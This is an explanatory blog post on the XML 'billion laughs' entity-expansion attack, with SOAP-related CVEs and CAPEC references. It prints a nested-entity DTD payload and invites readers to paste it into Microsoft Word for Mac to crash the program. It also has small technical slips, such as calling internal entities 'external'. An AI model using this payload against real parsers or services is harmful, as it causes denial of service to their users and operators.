Die Laughing from a Billion Laughs

Recursion is the process of repeating items in a self-similar way, and that’s what the XML Entity Expansion (XEE)^[1] is about: a small string is referenced a huge number of times.

Technology standards sometimes include features that affect the security of applications. Amit Klein found in 2002 that XML entities could be used to make parsers consume an unlimited amount of resources and then crash, which is called a billion laughs attack. When the XML parser tries to resolve, the external entities that are included cause the application to start consuming all the available memory until the process crashes.

This example shows an XML document with an embedded DTD schema that performs the attack.

(you can copy and paste (without format) to try)

<!DOCTYPE TEST [

<!ELEMENT TEST ANY>

<!ENTITY LOL “LOL”>

<!ENTITY LOL1 “&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;&LOL;”>

<!ENTITY LOL2 “&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;&LOL1;”>

<!ENTITY LOL3 “&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;&LOL2;”>

<!ENTITY LOL4 “&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;&LOL3;”>

<!ENTITY LOL5 “&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;&LOL4;”>

<!ENTITY LOL6 “&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;&LOL5;”>

<!ENTITY LOL7 “&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;&LOL6;”>

<!ENTITY LOL8 “&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;&LOL7;”>

<!ENTITY LOL9 “&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;&LOL8;”>

The entity LOL9 in the example will be resolved as the 10 entities defined in LOL8; then each of these entities will be resolved in LOL7 and so on. Finally, the CPU and/or memory will be affected by parsing the 3*10⁹ (3.000.000.000) entities defined in this schema and it could make the parser crash.

The SOAP specification states that a SOAP message must not contain a Document Type Declaration (DTD). Therefore, a SOAP processor can reject any SOAP message that contains a DTD.

Regardless of what the specification indicates, certain SOAP implementations do parse DTD schemas within SOAP messages:

CVE-2013-1643: The SOAP parser (in PHP before 5.3.22 and 5.4.x before 5.4.13) allows remote attackers to read arbitrary files via a SOAP WSDL file containing an XML external entity declaration in conjunction with an entity reference.
CVE-2010-1632: Apache Axis2 before 1.5.2 (as used in IBM WebSphere Application Server 7.0 through 7.0.0.12, IBM Feature Pack for Web Services 6.1.0.9 through 6.1.0.32, IBM Feature Pack for Web 2.0 1.0.1.0, Apache Synapse, Apache ODE, Apache Tuscany, Apache Geronimo, and other products) does not properly reject DTDs in SOAP messages.
CVE-2004-2244: The XML parser (in Oracle 9i Application Server Release 2 9.0.3.0 and 9.0.3.1, 9.0.2.3 and earlier, and Release 1 1.0.2.2 and 1.0.2.2.2, and Database Server Release 2 9.2.0.1 and later) allows remote attackers to cause a denial of service with CPU and memory consumption via a SOAP message containing a crafted DTD.

Here is an example of a parser that is not following the specification and is instead referencing a DTD on a SOAP message^[2].

Figure 1: SOAP billion laughs

This vulnerability also affects the Microsoft XML Core Services (MSXML), a service that allows applications to build Windows-native XML-based applications. If you paste the billion laughs attack code into Microsoft Word for Mac, the memory will start getting depleted until Word crashes. You can try it yourself: just copy, paste, and die laughing.

References:

[1] CAPEC-197: XEE (XML Entity Expansion) (http://capec.mitre.org/data/definitions/197.html)

[2] CAPEC-228: Resource Depletion through DTD Injection in a SOAP Message (http://capec.mitre.org/data/definitions/228.html)